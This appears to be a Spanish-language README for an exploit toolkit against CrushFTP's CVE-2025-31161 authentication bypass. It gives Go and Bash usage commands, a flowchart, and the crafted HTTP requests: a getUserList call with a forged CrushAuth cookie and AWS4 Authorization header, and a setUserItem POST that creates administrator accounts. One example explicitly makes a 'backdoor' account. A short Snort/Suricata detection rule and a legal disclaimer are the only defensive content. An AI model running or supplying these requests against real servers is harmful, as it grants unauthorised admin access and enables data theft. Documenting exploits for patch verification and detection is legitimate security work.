
Exploit para la omisión de autenticación en CrushFTP CVE-2025-31161: detecta objetivos vulnerables, enumera usuarios y crea cuentas de administrador no autorizadas mediante solicitudes HTTP manipuladas en Go y Bash.
Un completo conjunto de herramientas para explotar CVE-2025-31161, una vulnerabilidad de bypass de autenticación en CrushFTP que permite la creación no autorizada de cuentas de usuario.
CVE-2025-31161 es una vulnerabilidad crítica de bypass de autenticación en CrushFTP que permite a los atacantes crear cuentas de usuario no autorizadas sin una autenticación adecuada. Esta vulnerabilidad existe en la funcionalidad de gestión de usuarios de la interfaz web.
-t, -p, -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # Esta documentación
├── cve-2025-31161.go # Implementación en Go (recomendada)
├── cve-2025-31161.sh # Implementación en Bash
└── LICENSE # Licencia MIT
# Instalar Go (si no está ya instalado)
sudo apt install golang-go
# o
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# Requiere curl (normalmente preinstalado)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# Uso básico con banderas abreviadas
go run cve-2025-31161.go -t example.com -lu
# Con puerto personalizado
go run cve-2025-31161.go -t example.com -p 8080 -lu
# Banderas en formato largo
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# Crear nuevo usuario (solicitará nombre de usuario/contraseña)
go run cve-2025-31161.go -t example.com -au
# Con usuario objetivo personalizado (por defecto: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# Banderas en formato largo
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# Uso básico
./cve-2025-31161.sh -t example.com -lu
# Con puerto personalizado
./cve-2025-31161.sh -t example.com -p 8080 -lu
# Crear nuevo usuario
./cve-2025-31161.sh -t example.com -au
# Con configuración personalizada
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# Ejemplo 1: Enumerar usuarios en el objetivo
go run cve-2025-31161.go -t ftp.example.htb -lu
# Ejemplo 2: Crear cuenta de backdoor
go run cve-2025-31161.go -t ftp.example.htb -au
# Luego ingrese: nombre de usuario: backdoor, contraseña: P@ssw0rd123
# Ejemplo 3: Puerto no estándar con enumeración de usuarios
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# Ver ayuda
./cve-2025-31161.sh --help
flowchart TD
A[Iniciar Exploit] --> B[Comprobar Conectividad del Objetivo]
B --> C{¿Objetivo Alcanzable?}
C -->|No| D[Salir: Conexión Fallida]
C -->|Sí| E[Enviar Solicitud getUserList]
E --> F{¿Respuesta Contiene OK?}
F -->|No| G[Salir: No Vulnerable]
F -->|Sí| H[¡El Objetivo es Vulnerable!]
H --> I{¿Modo Seleccionado?}
I -->|Listar Usuarios -lu| J[Analizar Respuesta XML]
J --> K[Mostrar Lista de Usuarios]
K --> L[Salir: Éxito]
I -->|Añadir Usuario -au| M[Solicitar Nombre de Usuario]
M --> N[Solicitar Contraseña]
N --> O[Enviar Solicitud de Calentamiento]
O --> P[Crear Payload de Creación de Usuario]
P --> Q[Enviar Solicitud setUserItem]
Q --> R{¿Usuario Creado Correctamente?}
R -->|Sí| S[Éxito: Cuenta Creada]
R -->|No| T[Fallido: Explotación Fallida]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2El script primero envía una solicitud getUserList para comprobar si el objetivo es vulnerable:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Si la respuesta contiene <response_status>OK</response_status>, el objetivo es vulnerable.
Al usar la bandera -lu, el script analiza la respuesta XML y extrae los nombres de usuario:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
Salida:
[+] Usuarios:
- ben
- crushadmin
- default
Al usar la bandera -au, el script envía una solicitud setUserItem con un payload XML malicioso:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
El script comprueba la presencia de <response_status>OK</response_status> en la respuesta para confirmar la creación exitosa del usuario.
La vulnerabilidad se deriva de comprobaciones de autenticación insuficientes en la funcionalidad de gestión de usuarios de la interfaz web de CrushFTP. La aplicación acepta solicitudes de creación de usuarios sin validar adecuadamente los permisos del solicitante.
setUserItem en los registros web/webinterface/function/# Ejemplo de Regla Snort/Suricata
alert http any any -> any any (msg:"Intento de Exploit CVE-2025-31161 en CrushFTP"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ IMPORTANTE: Esta herramienta está diseñada para:
NO USE en sistemas sin permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal y puede acarrear graves consecuencias legales.
¡Las contribuciones son bienvenidas! Por favor:
git checkout -b feature/mejora)git commit -am 'Añadir nueva característica')git push origin feature/mejora)| Versión | Fecha | Cambios |
|---|---|---|
| 1.0.0 | 2025-01-XX | Lanzamiento inicial con implementaciones en Go y Bash |
| 1.1.0 | 2025-01-XX | Modo interactivo y detección de vulnerabilidades |
Para preguntas, sugerencias o preocupaciones de seguridad, por favor abra un issue en este repositorio.
| Bandea | Forma Larga | Descripción | Por Defecto |
|---|
-t | --target_host | Hostname o IP del objetivo (obligatorio) | - |
-p | --port | Puerto del objetivo | 80 |
-tu | --target_user | Usuario objetivo para la explotación | crushadmin |
-lu | --list-users | Listar usuarios existentes | - |
-au | --add-user | Añadir nuevo usuario (interactivo) | - |
--help | Mostrar mensaje de ayuda | - |
| 1.2.0 |
| 2025-10-02 |
| Añadida enumeración de usuarios (-lu), modo separado de añadir usuario (-au), banderas abreviadas (-t, -p, -tu) |